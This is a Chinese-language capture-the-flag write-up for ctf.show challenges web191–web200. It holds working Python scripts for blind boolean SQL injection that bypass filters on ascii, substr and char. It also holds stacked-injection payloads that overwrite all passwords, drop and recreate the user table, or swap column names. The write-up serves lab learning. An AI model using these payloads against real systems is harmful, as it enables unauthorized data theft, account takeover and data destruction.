目录
- web191
- web192
- web193
- web194
- web195
- web196
- web197
- web198
- web199
- web200
九某人来更新啦:2023年第一篇wp新鲜出炉~
web191
解答:增加了过滤
过滤了ascii,可以用ord方法代替。(这里手册中也有告知~)
web190的payload修改一下。
import requests
import sys
import time
url = "http://60a3f535-f0c5-40d6-9e63-fe058bf95762.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid
进一步学习:
ord()与ascii()的区别:
ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则MySQL函数将返回最左边字符的代码。
如果字符不是多字节字符,则ORD()和ASCII()函数返回相似的结果;如果字符是多字节字符,则ASCII()只返回该字符最左侧的一个字节的ASCII值。
如下示例:
SELECT ORD('简');
>>>15183488 # 15183488的十六进制是E7AE80
SELECT ASCII('简');
>>>231 # 231的十六进制是E7
web192
解答:
这里ord、hex都被过滤了,通过转数值的方式不能用了。substr还可以用, 那么直接截取字符判断匹配即可。
import requests
import sys
import time
url = "http://da148d3a-ee33-4c6d-a705-6814e006da74.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_"
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and ((substr((select database()),{},1)='{}'))#".format(i,mid)
#ctfshow_web
#payload = "admin'and ((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}'))#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and ((substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)='{}'))#".format(i,mid)
#id,f1ag
payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)
data = {
"username":payload,
"password":0,
}
#{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
flag += mid
print("++++++++++++++++++++"+flag)
break
这里其实也可以用二分法,只是从之前的数值比较,换成字符比较而已。
sql大小写不敏感,不过flag本身也都是小写,所以并不影响,结果转成小写字母就可以。
我直接改了一下之前的脚本
import requests
import sys
import time
import string
url = "http://f95ff68a-eb55-4ee3-bb4e-fff30a200cd3.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag.lower())
break
payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)<CHAR({})))#".format(i,mid)
#print(payload)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid
web193
解答:
substr不能用了,但可以用left()或者right()。
left()返回具有指定长度的字符串的左边部分。
left(string,length);
- length:想要截取的长度
right()返回具有指定长度的字符串的右边部分,用法同上。
import requests
import sys
import time
url = "http://077c3f46-7703-4fa9-8cfb-247c985473b3.challenge.ctf.show/api/"
flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_web
#payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_flxg
#payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
#id,f1ag
payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
tempstr += mid
flag += mid
print("++++++++++++++++++++"+flag)
break
二分法依然可行,只是并不是单独的字符比较,是字符串的比较,但原理是一样的。
即:ab=ab,ab<ac,是对字符串不一致的第一字符进行比较。
import requests
import sys
import time
import string
url = "http://fa58a58a-11d4-4c3e-9009-e7a0c53565b8.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag.lower())
break
payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})<'{}'))#".format(i,flag+chr(mid))
#print(payload)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid
web194
解答:
left、right、substring、char都不能用了。
找一找其他和截取有关的函数,发现lpad()
。
lpad(str,len,padstr)
lpad()
函数返回字符串str
,len
小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串padstr
直到达到len
字符长度。
有左填充,一般就是右填充,找到rpad()
,用法和lpad()
类似。
这里使用lpad(),它和left()的注入语句类似,只是多了一个填充字符串padstr
参数,令其为空即可。
import requests
import sys
import time
url = "http://8be98a09-12b0-4f66-807f-899826d58216.challenge.ctf.show/api/"
flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
for mid in flagstr:
#payload = "admin'and ((lpad((select database()),{},'')='{}'))#".format(i,tempstr+mid)
#ctfshow_web
#payload = "admin'and ((lpad((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},'')='{}'))#".format(i,tempstr+mid)
#ctfshow_flxg
#payload = "admin'and ((lpad((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},'')='{}'))#".format(i,tempstr+mid)
#id,f1ag
payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
tempstr += mid
flag += mid
print("++++++++++++++++++++"+flag)
break
依然可以用二分法。
import requests
import sys
import time
import string
url = "http://ea0f0b36-e6ff-4074-b475-709facd4ff56.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag.lower())
break
payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')<'{}'))#".format(i,flag+chr(mid))
print(payload)
data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid
web195
题目:进入堆叠注入部分
解答:过滤了select,单双引号也被过滤,没有报错提示。
没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。
根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。
通过提供的查询语句可以知道表名是ctfshow_user,列名为username和pass。
考虑用update把所有pass改成1。
username=1;update`ctfshow_user`set`pass`=1&password=1
//这里username=1;写成username=0;也可以的,不影响后面update的执行,两条语句都会执行。
然后username=0&password=1登陆。
(username=0这个做法在web188中有提到,就是匹配所有开头不是数字或者为0的字符串和数字0)
进一步学习:
堆叠注入详解
web196
解答:限制了用户名的长度,不能超过16个字符。密码正确就可以拿到flag
这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过se1ect也并没有被过滤,感觉纯粹就是没有加select的过滤~)
可以用select绕过password的if判断。
判断条件满足的设定是$row[0]==$password
,$row
存储的是结果集中的一行数据,$row[0]
就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row
应该也会逐一循环获取每个结果集。
那么可以输入username为1;select(9)
,password为9。当$row
获取到第二个查询语句select(9)
的结果集时,即可获得$row[0]=9
,那么password输入9就可以满足条件判断。
输入0;select(9)
也可以,不影响。
web197
题目:用户名可以很长
解答:这次select确实被过滤了。
方法一:
利用show
。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables
,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。
用户名:1;show tables
密码:ctfshow_user
方法二:
更新表。过滤了update,但我们可以删表,重新建一个同样表名的表,列名给的查询语句也已经告知,分别是username和pass。
0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1)
这里的意思就是删除以前的表,再自己新建一个并且插入数据:username=1,pass=1
然后直接输入1为用户名和密码,登录即可得到flag。
web198
题目:
解答:
方法一:本题依然可以使用上个题目的方法一show tables
。
方法二:本题把drop和create都过滤了,不能直接删表重建了。
在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。
将username和pass互换,这样就可以用userAUTO进行密码登录了。
0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);
最后,用户名为0,密码为userAUTO登陆即可
web199
题目:
解答:
方法一:本题依然可以使用show tables
。
方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。
0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;
web200
题目:
解答:增加了逗号的过滤,不影响。web199的两个方法都可以用。